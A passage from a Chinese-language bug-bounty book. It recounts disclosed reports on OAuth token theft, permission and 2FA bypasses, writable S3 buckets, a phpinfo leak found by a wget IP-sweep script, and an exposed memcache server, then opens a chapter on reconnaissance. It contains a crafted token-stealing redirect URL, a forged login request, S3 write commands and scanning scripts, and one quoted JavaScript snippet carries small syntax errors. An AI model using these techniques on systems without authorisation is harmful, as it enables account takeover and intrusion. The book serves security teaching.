其次,微软会递归解码 URL,直到没有其他字符可以解码。在这种情况下,https%3a%2f%2foutlook.office.com%252f@example.com 会被递归解码,直到返回 outlook.office.com/@example.com。这意味着 @example.com 被识别为 URL 路径的一部分,而不是主机。主机会被验证为 outlook.office.com,因为 @example.com 出现在斜杠之后。
当 URL 的各个部分组合起来时,微软会验证 URL 结构、解码 URL,并将其验证为白名单中的 URL,但返回的 URL 仅被解码了一次。这意味着,任何访问 https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3A%2F%2Foutlook.office.com%252f@example.com&id=260563 的目标用户都会将其访问令牌发送到 example.com。example.com 的恶意所有者可以利用这个令牌登录与该令牌关联的微软服务,并访问其他人的账户。
要点
在测试 OAuth 流程中的重定向参数时,确保将 @example.com 作为重定向 URI 的一部分,以查看应用程序如何处理它。尤其当你注意到该过程正在使用编码字符,应用程序需要解码这些字符以验证白名单中的重定向 URL 时,应该这样做。此外,在测试时始终注意应用程序行为中的任何细微差异。在这种情况下,Whitton 注意到,当他完全更改 wreply 参数时,返回的错误与附加双重编码的斜杠时不同,这使他发现了微软配置错误的验证逻辑。
窃取 Facebook 官方访问令牌
难度: 高
URL: www.facebook.com
来源: philippeharewood.com/swiping-facebook-official-access-tokens/
报告日期: 2016 年 2 月 29 日
奖励支付: 未公开
在寻找漏洞时,一定要考虑目标应用程序所依赖的被遗忘的资产。在这个例子中,Philippe Harewood 一开始只有一个目标:捕获目标用户的 Facebook 令牌并访问他们的私人信息。但他未能找到 Facebook 在 OAuth 实现上的任何错误。没有灰心丧气,他转变思路,开始寻找可以接管的 Facebook 应用程序,采用了一种类似子域名接管的思路。
这个想法基于一个认识,即 Facebook 的主要功能包括一些依赖于 OAuth 的 Facebook 所有的应用程序,并且这些应用会自动被所有 Facebook 账户授权。所有这些预授权应用的列表位于 https://www.facebook.com/search/me/apps-used/。
在查看列表时,Harewood 发现有一个应用被授权,即便 Facebook 已经不再拥有或使用该域名。这意味着 Harewood 可以将该白名单域名注册为 redirect_uri 参数,从而接收访问 OAuth 授权端点 facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=APP_ID&redirect_uri=REDIRECT_URI/ 的任何目标用户的 Facebook 令牌。
在 URL 中,易受攻击的应用的 ID 由 APP_ID 表示,该 ID 包含对所有 OAuth 范围的访问权限。白名单域名由 REDIRECT_URI 表示(Harewood 没有公开该配置错误的应用)。因为该应用已经获得了每个 Facebook 用户的授权,所以任何目标用户都不需要批准请求的范围。此外,OAuth 过程会完全在后台 HTTP 请求中进行。通过访问该应用的 Facebook OAuth URL,用户将被重定向到 URL http://REDIRECT_URI/#token=access_token_appended_here/。
因为 Harewood 注册了 REDIRECT_URI 的地址,他能够记录访问该 URL 的任何用户的访问令牌,这使他能够访问他们的整个 Facebook 账户。此外,所有官方的 Facebook 访问令牌都包括对其他 Facebook 拥有的资产的访问权限,例如 Instagram。因此,Harewood 可以代表目标用户访问所有 Facebook 资产。
要点
在寻找漏洞时,要考虑可能被遗忘的资产。在这个例子中,遗忘的资产是一个敏感的 Facebook 应用,具有完全的权限范围。但其他例子包括子域名的 CNAME 记录和应用依赖项,如 Ruby Gems、JavaScript 库等。如果一个应用依赖于外部资产,开发者有可能某天停止使用该资产,并忘记将其从应用中断开。如果攻击者能够接管该资产,这可能对应用及其用户造成严重后果。此外,需要认识到,Harewood 在测试时有一个黑客攻击的目标。采取同样的方式是当你在对大型应用进行黑客攻击时有效的集中精力的方式,因为在这些应用中有无数区域可以测试,且很容易分心。
总结
尽管 OAuth 已被标准化为一种身份验证工作流,但它对开发者来说很容易被配置错误。细微的错误可能导致攻击者窃取授权令牌并访问目标用户的私人信息。在进行 OAuth 应用程序黑客攻击时,一定要彻底测试redirect_uri参数,查看应用程序是否正确验证了访问令牌的发送情况。同时,也要留意支持 OAuth 工作流的自定义实现;这些功能并未由 OAuth 标准化流程定义,更容易存在漏洞。在放弃任何 OAuth 黑客攻击之前,一定要考虑白名单资产。确认客户端是否默认信任了某些应用程序,这些应用程序可能是开发者遗忘的。
第十八章:应用逻辑和配置漏洞**

与本书中之前介绍的漏洞不同,后者依赖于提交恶意输入的能力,应用逻辑和配置漏洞则利用了开发者的错误。应用逻辑 漏洞发生在开发者在编码逻辑时犯错,攻击者可以利用这个漏洞执行一些未预期的操作。配置 漏洞发生在开发者错误配置了工具、框架、第三方服务或其他程序或代码,从而导致了漏洞。
这两个漏洞都涉及到利用开发者在编写代码或配置网站时所做的决策中的错误。这类漏洞的影响通常是攻击者能够未经授权访问某些资源或执行某些操作。但由于这些漏洞源自编码和配置决策,因此它们可能很难描述。理解这些漏洞的最好方式是通过一个例子来分析。
2012 年 3 月,Egor Homakov 向 Ruby on Rails 团队报告了其默认配置存在不安全的问题。当时,当开发者安装一个新的 Rails 网站时,Rails 默认生成的代码会接受所有提交给控制器动作的参数,用于创建或更新数据库记录。换句话说,默认安装将允许任何人发送 HTTP 请求来更新任何用户对象的用户 ID、用户名、密码和创建日期参数,无论开发者是否希望这些参数是可更新的。这个例子通常被称为 批量赋值 漏洞,因为所有参数都可以用来赋值给对象记录。
这种行为在 Rails 社区内是众所周知的,但很少有人意识到它所带来的风险。Rails 核心开发者认为,应该由 web 开发者负责关闭这一安全漏洞,并定义站点接受哪些参数来创建和更新记录。你可以阅读一些相关讨论,链接请见 github.com/rails/rails/issues/5228/。
Rails 核心开发者不同意 Homakov 的评估,因此 Homakov 在 GitHub(一个使用 Rails 开发的大型网站)上利用了这个漏洞。他猜测到一个可访问的参数,该参数被用来更新 GitHub 问题的创建日期。他将创建日期参数包含在 HTTP 请求中,并提交了一个创建日期设定在未来几年的问题。这本不该是 GitHub 用户能够做到的事情。他还更新了 GitHub 的 SSH 访问密钥,以获取对官方 GitHub 代码库的访问权限——这是一个严重的漏洞。
作为回应,Rails 社区重新考虑了其立场,并开始要求开发者列出白名单参数。现在,默认配置不会接受任何参数,除非开发者将其标记为安全。
GitHub 的例子结合了应用程序逻辑和配置漏洞。GitHub 开发人员本应添加安全防护措施,但由于他们使用了默认配置,结果导致了一个漏洞。
应用程序逻辑和配置漏洞可能比本书前面涉及的漏洞更难发现(并不是说其他漏洞就容易)。这是因为它们依赖于对编码和配置决策的创造性思考。你对各种框架的内部工作原理了解得越多,你就越容易发现这类漏洞。例如,Homakov 知道该网站是用 Rails 构建的,并且了解 Rails 默认如何处理用户输入。在其他例子中,我会展示报告人如何调用直接 API 请求,扫描成千上万的 IP 寻找配置错误的服务器,并发现本不应公开访问的功能。这些漏洞需要有一定的 Web 框架背景知识和调查技能,因此我会重点介绍那些能帮助你培养这些知识的报告,而不是那些奖金高的报告。
绕过 Shopify 管理员权限
难度: 低
URL:
来源: hackerone.com/reports/100938/
报告日期: 2015 年 11 月 22 日
奖金支付: $500
和 GitHub 一样,Shopify 是使用 Ruby on Rails 框架构建的。Rails 很受欢迎,因为当你用它开发一个网站时,框架会处理许多常见和重复的任务,比如解析参数、路由请求、服务文件等等。但 Rails 默认并不提供权限管理。开发人员必须编写自己的权限管理代码,或者安装一个具有该功能的第三方 gem(gems是 Ruby 的库)。因此,在进行 Rails 应用程序的黑客攻击时,测试用户权限总是一个好主意:你可能会发现应用程序逻辑漏洞,就像寻找 IDOR 漏洞时一样。
在这个案例中,报告人 rms 注意到 Shopify 定义了一个名为 Settings 的用户权限。该权限允许管理员通过 HTML 表单在网站上提交订单时将电话号码添加到应用程序中。没有这个权限的用户,在用户界面(UI)中不会显示提交电话号码的字段。
通过使用 Burp 作为代理记录发送到 Shopify 的 HTTP 请求,rms 找到了 HTML 表单请求发送的端点。接下来,rms 登录了一个被分配了 Settings 权限的账户,添加了一个电话号码,然后删除了该号码。Burp 的历史选项卡记录了添加电话号码的 HTTP 请求,该请求发送到了/admin/mobile_numbers.json端点。然后 rms 从该用户账户中移除了 Settings 权限。此时,用户账户应该不能再添加电话号码了。
使用 Burp Repeater 工具,rms 绕过了 HTML 表单,并在仍然登录账户且没有设置权限的情况下,向 /admin/mobile_number.json 发送了相同的 HTTP 请求。响应显示成功,且在 Shopify 上下单测试时确认通知已发送到手机号码。设置权限仅移除了前端 UI 元素,用户无法在界面上输入电话号码。但该权限并未阻止没有权限的用户通过站点后端提交电话号码。
总结要点
在处理 Rails 应用时,一定要测试所有用户权限,因为 Rails 默认并不处理这些功能。开发人员必须自行实现用户权限,所以他们可能会忘记添加权限检查。此外,代理流量总是一个好主意。这样,你可以轻松识别端点并重放可能无法通过网站 UI 获得的 HTTP 请求。
绕过 Twitter 账户保护
难度: 简单
网址: twitter.com
来源: 无
报告日期: 2016 年 10 月
悬赏金额: $560
在测试时,一定要考虑应用程序的网页版本与移动版本之间的差异。两者之间可能存在应用逻辑上的不同。当开发人员没有充分考虑这些差异时,就可能会产生漏洞,这就是本报告中所发生的情况。
2016 年秋季,Aaron Ullger 发现,当他第一次从一个未被识别的 IP 地址和浏览器登录 Twitter 时,Twitter 网站要求提供额外的信息才能进行认证。Twitter 要求的信息通常是与账户关联的电子邮件或电话号码。这个安全功能旨在确保,如果你的账户登录信息被泄露,攻击者在没有额外信息的情况下无法访问账户。
但在他的测试中,Ullger 使用手机连接到 VPN,给设备分配了一个新的 IP 地址。当从未被识别的 IP 地址和浏览器登录时,他本应被要求提供额外信息,但他在手机上从未被要求提供这些信息。这意味着,如果攻击者劫持了他的账户,他们可以通过移动应用绕过额外的安全检查。此时,攻击者还可以在应用中查看用户的电子邮件地址和电话号码,从而通过网站登录。
作为回应,Twitter 验证并修复了该问题,向 Ullger 支付了 $560。
总结要点
在通过不同方式访问应用程序时,考虑安全相关的行为是否在各个平台之间保持一致。在本例中,Ullger 只测试了应用程序的浏览器和移动版本。但其他网站可能还会使用第三方应用或 API 端点。
HackerOne 信号操控
难度: 低
URL: hackerone.com/reports/
来源: hackerone.com/reports/106305
报告日期: 2015 年 12 月 21 日
支付的悬赏金: $500
在开发网站时,程序员通常会测试他们实现的新功能。但他们可能忽略测试罕见类型的输入,或者新功能与网站其他部分的交互方式。测试时,重点关注这些领域,尤其是边缘案例,这些是开发人员可能会无意中引入应用程序逻辑漏洞的简单方式。
2015 年底,HackerOne 在其平台上引入了一项新功能,名为 Signal,用于显示黑客根据已解决报告的平均声誉。例如,关闭为垃圾邮件的报告会获得 -10 声誉,不适用的报告获得 -5,信息性报告得 0,已解决的报告得 7。你的 Signal 越接近 7,表现就越好。
在这个案例中,报告者 Ashish Padelkar 发现,用户可以通过自闭报告来操控这一统计数据。自闭报告是一个独立的功能,允许黑客在犯错时撤回他们的报告,并将该报告的声誉设为 0。Padekar 意识到 HackerOne 正在使用自闭报告中的 0 来计算 Signal。因此,任何拥有负面 Signal 的人都可以通过自闭报告来提高他们的平均声誉。
因此,HackerOne 从 Signal 计算中移除了自闭报告,并向 Padekar 发放了 $500 的悬赏金。
要点
留意新网站功能:它代表着测试新代码的机会,并且可能会在现有功能中引发错误。在这个例子中,自闭报告与新功能 Signal 的交互产生了意想不到的后果。
HackerOne 不正确的 S3 存储桶权限
难度: 中等
URL: [REDACTED].s3.amazonaws.com
来源: hackerone.com/reports/128088/
报告日期: 2016 年 4 月 3 日
支付的悬赏金: $2,500
很容易假设在你开始测试之前,应用程序中的每个漏洞都已经被发现了。但不要高估一个站点的安全性,也不要以为其他黑客已经测试过了。我在 HackerOne 上测试一个应用配置漏洞时,就不得不克服这种心态。
我注意到 Shopify 已公开了关于配置错误的 Amazon Simple Store Services (S3) 存储桶的报告,于是决定看看我能否找到类似的漏洞。S3 是 Amazon Web Services (AWS) 提供的一项文件管理服务,许多平台使用它来存储和提供静态内容,如图像。像所有 AWS 服务一样,S3 拥有复杂的权限,容易配置错误。在此报告发布时,权限包括读取、写入和读写权限。写入和读写权限意味着任何拥有 AWS 账户的人都可以修改文件,即使该文件存储在私有存储桶中。
在 HackerOne 网站上寻找漏洞时,我意识到平台从一个名为 hackerone-profile-photos 的 S3 桶中提供用户图片。桶名给了我一个线索,表明 HackerOne 使用了某种命名规范来命名桶。为了深入了解如何妥协 S3 桶,我开始查看之前类似漏洞的报告。不幸的是,我找到的关于配置错误的 S3 桶的报告并没有说明报告者是如何发现这些桶的,也没有说明他们是如何验证漏洞的。于是,我转向网络查找信息,发现了两篇博客文章:community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets/ 和 digi.ninja/projects/bucket_finder.php/。
Rapid7 文章详细介绍了他们如何使用 模糊测试 来发现公开可读的 S3 桶。为此,团队收集了一个有效的 S3 桶名列表,并生成了一个常见变体的词汇表,如 backup、images、files、media 等等。两个列表为他们提供了数千个桶名组合,团队使用 AWS 命令行工具测试访问这些桶。第二篇博客文章中包含了一个名为 bucket_finder 的脚本,它接受一个可能的桶名词汇表,并检查列表中的每个桶是否存在。如果桶确实存在,脚本会尝试使用 AWS 命令行工具读取其内容。
我为 HackerOne 创建了一个潜在的桶名列表,如 hackerone、hackerone.marketing、hackerone.attachments、hackerone.users、hackerone.files 等等。我将这个列表提供给 bucket_finder 工具,它找到了一些桶,但没有一个是公开可读的。然而,我注意到脚本没有测试它们是否是公开可写的。为了测试这一点,我创建并尝试将一个文本文件复制到我找到的第一个桶中,使用命令 aws s3 mv test.txt s3://hackerone.marketing。结果如下:
move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error
(AccessDenied) occurred when calling the PutObject operation: Access Denied
尝试下一个桶 aws s3 mv test.txt s3://hackerone.files,结果是:
move: ./test.txt to s3://hackerone.files/test.txt
成功!接下来,我尝试使用命令 aws s3 rm s3://hackerone.files/test.txt 删除文件,并再次成功。
我能够从一个桶中写入和删除文件。理论上,攻击者可以将一个恶意文件放入这个桶中,供 HackerOne 的工作人员访问。当我在写报告时,我意识到我无法确认 HackerOne 是否拥有这个桶,因为亚马逊允许用户注册任何桶名。我不确定是否应该在没有确认所有权的情况下报告,但我想,反正试试看吧。几小时后,HackerOne 确认了报告并修复了漏洞,还发现了其他配置错误的桶。值得称赞的是,HackerOne 在发放奖金时,考虑到了额外的桶,并增加了我的奖励。
要点
HackerOne 是一个了不起的团队:拥有黑客思维的开发者们了解常见的漏洞并能够识别。但即使是最优秀的开发者也可能犯错。不要因为害怕而回避测试应用程序或功能。在测试过程中,重点关注那些容易配置错误的第三方工具。此外,如果你找到有关新概念的报告或公开报告,试着理解那些报告者是如何发现漏洞的。在这种情况下,关键是研究人们是如何发现并利用 S3 配置错误的。
绕过 GitLab 双因素认证
难度: 中等
URL: 不适用
来源: hackerone.com/reports/128085/
报告日期: 2016 年 4 月 3 日
奖励支付: 不适用
双因素认证(2FA) 是一种安全功能,它在网站登录过程中增加了第二个步骤。传统上,用户登录网站时只需输入用户名和密码进行身份验证。而在启用 2FA 的情况下,网站要求在输入密码之外进行额外的身份验证步骤。通常,网站会通过电子邮件、短信或身份验证器应用程序发送授权码,用户在提交用户名和密码后必须输入该授权码。这些系统可能很难正确实现,因此是应用逻辑漏洞测试的良好候选对象。
2016 年 4 月 3 日,Jobert Abma 在 GitLab 中发现了一个漏洞。该漏洞允许攻击者在启用 2FA 时,不知道目标用户的密码也能登录目标账户。Abma 注意到,在用户输入用户名和密码后,网站会向用户发送一个验证码。用户提交验证码后,系统会发出以下POST请求:
POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--snip--
----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"
➊ 212421
----------1881604860--
POST请求将包括一个 OTP 令牌➊,该令牌用于验证用户进行 2FA 的第二步。OTP 令牌仅在用户已输入用户名和密码后生成,但如果攻击者试图登录自己的账户,他们可以使用 Burp 等工具拦截请求,并将请求中的用户名替换为另一个用户名。这将改变他们登录的账户。例如,攻击者可以尝试如下方式登录名为john的用户账户:
POST /users/sign_in HTTP/1.1
Host: 159.xxx.xxx.xxx
--snip--
----------1881604860
Content-Disposition: form-data; name="user[otp_attempt]"
212421
----------1881604860
➊ Content-Disposition: form-data; name="user[login]"
john
----------1881604860--
user[login]请求告诉 GitLab 网站,用户即使没有尝试登录,也已使用其用户名和密码进行过登录尝试。无论如何,GitLab 网站都会为john生成一个 OTP 令牌,攻击者可以猜测并提交给网站。如果攻击者猜中了正确的 OTP 令牌,他们就能在从未知道密码的情况下登录。
这个漏洞的一个警告是,攻击者必须知道或猜测目标的有效 OTP 令牌。OTP 令牌每 30 秒变化一次,且仅在用户登录或提交 user[login] 请求时生成。利用这个漏洞是非常困难的。不过,GitLab 在报告后两天内确认并修复了这个漏洞。
要点
双因素认证是一个难以完美实现的系统。当你发现某个网站使用双因素认证时,一定要测试其功能,例如令牌的有效期、最大尝试次数限制等。还要检查过期的令牌是否可以重用,猜测令牌的可能性以及其他令牌漏洞。GitLab 是一个开源应用程序,Abma 很可能通过审查源代码发现了这个问题,因为他在报告中识别了代码中开发人员的错误。尽管如此,仍需留意 HTTP 响应,这些响应可能会泄露你可以在 HTTP 请求中包含的参数,就像 Abma 所做的那样。
Yahoo! PHP 信息泄露
难度: 中等
URL: http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php/
来源: blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
报告日期: 2014 年 10 月 16 日
悬赏金额: 暂无
这份报告没有像本章中的其他报告那样获得悬赏。但它展示了网络扫描和自动化在发现应用配置漏洞中的重要性。2014 年 10 月,HackerOne 的 Patrik Fehrenbach 发现了一台返回 phpinfo 函数内容的 Yahoo! 服务器。phpinfo 函数输出当前 PHP 状态的信息。这些信息包括编译选项和扩展、版本号、服务器和环境信息、HTTP 头等。由于每个系统的设置不同,phpinfo 通常用于检查系统上的配置设置和预定义变量。这种详细的信息不应在生产系统上公开,因为它可以让攻击者深入了解目标的基础设施。
此外,尽管费伦巴赫没有提到这一点,但请注意,phpinfo 会包含 httponly cookie 的内容。如果一个域存在 XSS 漏洞 并且 有一个 URL 会泄露 phpinfo 的内容,攻击者可以利用 XSS 发起对该 URL 的 HTTP 请求。由于 phpinfo 的内容被泄露,攻击者可以窃取 httponly cookie。这个漏洞之所以存在,是因为恶意 JavaScript 可以读取包含该值的 HTTP 响应体,即使它无法直接读取 cookie。
为了发现这个漏洞,费伦巴赫对 yahoo.com 进行了 ping 操作,返回了 98.138.253.109。他使用了 whois 命令行工具查询该 IP,返回了以下记录:
NetRange: 98.136.0.0 - 98.139.255.255
CIDR: 98.136.0.0/14
OriginAS:
NetName: A-YAHOO-US9
NetHandle: NET-98-136-0-0-1
Parent: NET-98-0-0-0-0
NetType: Direct Allocation
RegDate: 2007-12-07
Updated: 2012-03-02
Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1
第一行确认了 Yahoo!拥有从 98.136.0.0 到 98.139.255.255(或 98.136.0.0/14)的一个大块 IP 地址,共计 260,000 个唯一 IP 地址。这是大量潜在的目标!使用以下简单的 bash 脚本,Fehrenbach 搜索了 IP 地址的phpinfo文件:
#!/bin/bash
➊ for ipa in 98.13{6..9}.{0..255}.{0..255}; do
➋ wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &
代码在➊处进入一个for循环,该循环遍历每对大括号中的每个范围的所有可能数字。第一个测试的 IP 将是 98.136.0.0,然后是 98.136.0.1,再然后是 98.136.0.2,依此类推,直到 98.139.255.255。每个 IP 地址都会存储在变量ipa中。代码在➋处使用wget命令行工具对正在测试的 IP 地址发出GET请求,通过将${ipa}替换为for循环中当前 IP 地址的值。-t标志表示在请求失败时应重试的次数,在此情况下为1。-T标志表示在考虑请求超时之前等待的秒数。运行他的脚本后,Fehrenbach 发现网址http://nc10.n9323.mail.ne1.yahoo.com启用了phpinfo功能。
关键要点
当你进行黑客攻击时,除非明确告诉你某个部分不在范围内,否则可以把公司的整个基础设施视为合法目标。虽然这份报告没有支付赏金,但你可以采用类似的技巧来寻找一些可观的奖金。此外,寻找自动化测试的方法。你通常需要编写脚本或使用工具来自动化过程。例如,Fehrenbach 发现的 260,000 个潜在 IP 地址,如果手动测试是不可能完成的。
HackerOne Hacktivity 投票
难度: 中等
来源: hackerone.com/reports/137503/
报告日期: 2016 年 5 月 10 日
赏金支付: 礼品
尽管这份报告从技术上讲并没有发现安全漏洞,但它是一个很好的例子,展示了如何使用 JavaScript 文件来寻找新的功能进行测试。在 2016 年春季,HackerOne 一直在开发一项功能,允许黑客对报告进行投票。这个功能在用户界面中并未启用,本不应当被使用。
HackerOne 使用 React 框架来渲染其网站,因此它的大部分功能都定义在 JavaScript 中。使用 React 构建功能的一个常见方法是根据服务器的响应启用 UI 元素。例如,网站可能会根据服务器是否识别某个用户为管理员来启用与管理员相关的功能,如删除按钮。但服务器可能不会验证通过 UI 发起的 HTTP 请求是否由合法管理员发起。根据报告,黑客 apok 测试了禁用的 UI 元素是否仍然可以用来发起 HTTP 请求。黑客修改了 HackerOne 的 HTTP 响应,将所有错误值改为正确,可能是通过像 Burp 这样的代理实现的。这样就揭示了新的 UI 按钮,点击后会发起 POST 请求,用于报告投票。
发现隐藏的 UI 功能的其他方法是使用浏览器开发者工具或像 Burp 这样的代理,搜索 JavaScript 文件中的 POST 字段,以识别该站点使用的 HTTP 请求。搜索 URL 是发现新功能的简便方法,无需浏览整个应用程序。在此情况下,JavaScript 文件包含以下内容:
vote: function() {
var e = this;
a.ajax({
➊ url: this.url() + "/votes",
method: "POST",
datatype: "json",
success: function(t) {
return e.set({
vote_id: t.vote_id,
vote_count: t.vote_count
})
}
})
},
unvote: function() {
var e = this;
a.ajax({
➋ url: this.url() + "/votes" + this.get("vote_id"),
method: "DELETE":,
datatype: "json",
success: function(t) {
return e.set({
vote_id: t.void 0,
vote_count: t.vote_count
})
}
})
}
如你所见,投票功能通过 ➊ 和 ➋ 的两个 URL 路径提供。在此报告时,你可以对这些 URL 端点执行 POST 请求。然后你可以投票,尽管该功能尚未可用或完成。
收获
当一个站点依赖 JavaScript,特别是像 React、AngularJS 等框架时,使用 JavaScript 文件是发现更多应用程序测试区域的好方法。使用 JavaScript 文件可以节省时间,还可能帮助你识别隐藏的端点。使用像 github.com/nahamsec/JSParser 这样的工具可以让你更容易地追踪 JavaScript 文件的变化。
访问 PornHub 的 Memcache 安装
难度: 中等
URL: stage.pornhub.com
来源: blog.zsec.uk/pwning-pornhub/
报告日期: 2016 年 3 月 1 日
奖励支付: $2,500
2016 年 3 月,Andy Gill 正在参与 PornHub 的漏洞奖励计划,该计划涵盖 *.pornhub.com 域名。这意味着该站点的所有子域名都在范围内,并有资格获得奖励。使用常见子域名的自定义列表,Gill 发现了 90 个 PornHub 子域名。
访问这些网站会非常耗时,因此正如 Fehrenbach 在前面的示例中所做的那样,Gill 使用 EyeWitness 自动化了这个过程。EyeWitness 捕获网站截图,并提供开放 80、443、8080 和 8443 端口的报告(这些是常见的 HTTP 和 HTTPS 端口)。网络和端口超出了本书的范围,但通过打开端口,服务器可以使用软件发送和接收互联网流量。
这个任务并没有揭示太多信息,所以 Gill 专注于 stage.pornhub.com,因为临时和开发服务器更容易出现配置错误。首先,他使用命令行工具 nslookup 获取该站点的 IP 地址。返回的记录如下:
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: stage.pornhub.com
➊ Address: 31.192.117.70
地址是显著的值 ➊,因为它显示了 stage.pornhub.com 的 IP 地址。接下来,Gill 使用工具 Nmap 扫描服务器的开放端口,使用的命令是 nmap -sV -p- 31.192.117.70 -oA stage__ph -T4。
命令中的第一个标志(-sV)启用版本检测。如果发现开放端口,Nmap 会尝试确定该端口上运行的软件。–p- 标志指示 Nmap 扫描所有 65,535 个可能的端口(默认情况下,Nmap 仅扫描最常用的 1,000 个端口)。接下来,命令列出了要扫描的 IP:在本例中是 stage.pornhub.com (31.192.117.70)。然后,-oA 标志将扫描结果输出为三种主要输出格式,分别是普通格式、可 grep 格式和 XML 格式。此外,命令还包括了一个基础文件名 stage__ph 作为输出文件的名称。最后一个标志 -T4 让 Nmap 运行得更快。默认值是 3:值 1 最慢,值 5 最快。较慢的扫描可以避开入侵检测系统,而较快的扫描则需要更多带宽,并可能不那么准确。当 Gill 运行该命令时,他收到了以下结果:
Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST
Nmap scan report for 31.192.117.70
Host is up (0.017s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open http nginx
➊ 60893/tcp open memcache
Service detection performed. Please report any incorrect results at http://
nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds
报告的关键部分是端口 60893 开放,并且 Nmap 识别它为运行 memcache ➊。Memcache 是一种缓存服务,它使用键值对来存储任意数据。通常,它用于通过缓存加速网站内容的传递,从而提高网站的访问速度。
发现该端口开放并不是一个漏洞,但绝对是一个警示信号。原因是 Memcache 的安装指南推荐将其设置为公共不可访问,以作为安全预防措施。随后,Gill 使用命令行工具 Netcat 尝试建立连接。他没有被要求进行身份验证,这是一个应用程序配置漏洞,因此 Gill 能够运行无害的统计和版本命令来确认他的访问权限。
访问 Memcache 服务器的严重性取决于它缓存了什么信息以及应用程序如何使用这些信息。
收获
子域名和更广泛的网络配置代表了黑客攻击的巨大潜力。如果一个程序的漏洞奖励计划涵盖了广泛的范围或所有子域名,你可以枚举子域名。因此,你可能会发现别人没有测试过的攻击面。这对于查找应用程序配置漏洞特别有帮助。花时间熟悉像 EyeWitness 和 Nmap 这样的工具是值得的,它们可以为你自动化枚举过程。
总结
发现应用程序逻辑和配置漏洞需要你寻找与应用程序以不同方式互动的机会。Shopify 和 Twitter 的例子很好地展示了这一点。Shopify 在 HTTP 请求中没有验证权限。同样,Twitter 在其移动应用程序中省略了安全检查。两者都涉及从不同角度测试这些网站。
定位逻辑和配置漏洞的另一个技巧是寻找你可以探索的应用程序表面区域。例如,新的功能是这些漏洞的一个很好的切入点。它总是提供一个发现错误的好机会。新代码提供了测试边缘情况或新代码与现有功能交互的机会。你还可以深入挖掘一个网站的 JavaScript 源代码,发现那些在网站 UI 中无法看到的功能变化。
黑客攻击可能非常耗时,因此学习能够自动化工作流程的工具非常重要。本章中的示例包括小型 bash 脚本、Nmap、EyeWitness 和bucket_finder。你可以在附录 A 中找到更多工具。
第十九章:找到属于自己的漏洞悬赏

不幸的是,黑客攻击没有神奇的公式,而且有太多不断发展的技术,我无法解释每一种寻找漏洞的方法。虽然本章不会让你成为一个精英级别的黑客,但它应该能教你成功漏洞猎人遵循的模式。本章将引导你通过一种基本的方法开始黑客攻击任何应用。它基于我采访成功黑客、阅读博客、观看视频和实际进行黑客攻击的经验。
当你第一次开始进行黑客攻击时,最好根据你获得的知识和经验来定义成功,而不是基于你找到的漏洞或赚到的钱。这是因为如果你的目标是找到高曝光度的程序中的漏洞,或者尽可能多地发现漏洞,或者仅仅是为了赚钱,那么如果你是新手,开始时可能会不成功。非常聪明且经验丰富的黑客每天都会测试成熟的程序,如 Uber、Shopify、Twitter 和 Google,因此能找到的漏洞非常少,而且很容易让人泄气。如果你专注于学习新技能、识别模式和测试新技术,那么在遭遇干旱期时,你可以保持积极的心态。
侦察
在接触任何漏洞悬赏计划时,首先可以进行一些侦察,或者说是recon,以了解更多关于应用的信息。正如你从之前的章节所知道的,测试一个应用时有很多需要考虑的因素。可以从这些以及其他一些基本问题开始:
-
该计划的范围是什么?是.
.com 还是仅仅是www..com ? -
公司有多少个子域名?
-
公司拥有多少个 IP 地址?
-
这是一个什么类型的网站?是软件即服务(SaaS)?开源的?协作性质的?是付费的还是免费的?
-
它使用哪些技术?使用的是哪种编程语言?使用的是哪种数据库?使用的是哪些框架?
这些问题只是你开始进行黑客攻击时需要考虑的一部分问题。为了本章的目的,我们假设你正在测试一个具有开放范围的应用,比如.
为了避免被封禁,我建议你从允许安全测试的云主机服务提供商处租用一台虚拟私人服务器(VPS)。务必研究一下你的云服务提供商,因为有些服务商不允许进行此类测试(例如,在撰写本文时,Amazon Web Services 不允许在没有明确许可的情况下进行安全测试)。
子域名枚举
如果你在一个开放范围内进行测试,可以通过使用 VPS 来查找子域名来开始侦查。你发现的子域名越多,攻击面就越大。为此,我推荐使用 SubFinder 工具,它非常快速,并且是用 Go 编程语言编写的。SubFinder 将通过多种来源拉取一个站点的子域名记录,包括证书注册、搜索引擎结果、互联网档案馆 Wayback Machine 等等。
SubFinder 进行的默认枚举可能无法找到所有子域名。但与特定 SSL 证书相关的子域名很容易找到,因为证书透明度日志记录了已注册的 SSL 证书。例如,如果一个站点为 test.
方便的是,SubFinder 还可以帮助你使用常见的词汇列表进行子域名的暴力破解。安全列表 GitHub 仓库 SecLists,在附录 A 中提到,提供了常见的子域名列表。此外,Jason Haddix 也发布了一个有用的列表,地址为 gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056/。
如果你不想使用 SubFinder,只想浏览 SSL 证书,* crt.sh * 是一个很好的参考网站,可以检查是否有通配符证书被注册。如果你发现了通配符证书,你可以在 censys.io 上搜索证书的哈希值。通常,每个证书在 crt.sh 上也会有一个直接链接到 censys.io 的链接。
完成 *.
端口扫描
在枚举完子域名后,你可以开始端口扫描以识别更多的攻击面,包括正在运行的服务。例如,通过端口扫描 Pornhub,Andy Gill 发现了一个暴露的 Memcache 服务器,并因此赚取了 2500 美元,详细信息可见 第十八章。
端口扫描的结果也能反映出一个公司的整体安全性。例如,一个公司如果关闭了除了 80 和 443(用于托管 HTTP 和 HTTPS 网站的常用 Web 端口)之外的所有端口,那么该公司可能会注重安全性。但如果一个公司有很多开放的端口,那么它可能恰恰相反,并且可能有更高的漏洞赏金潜力。
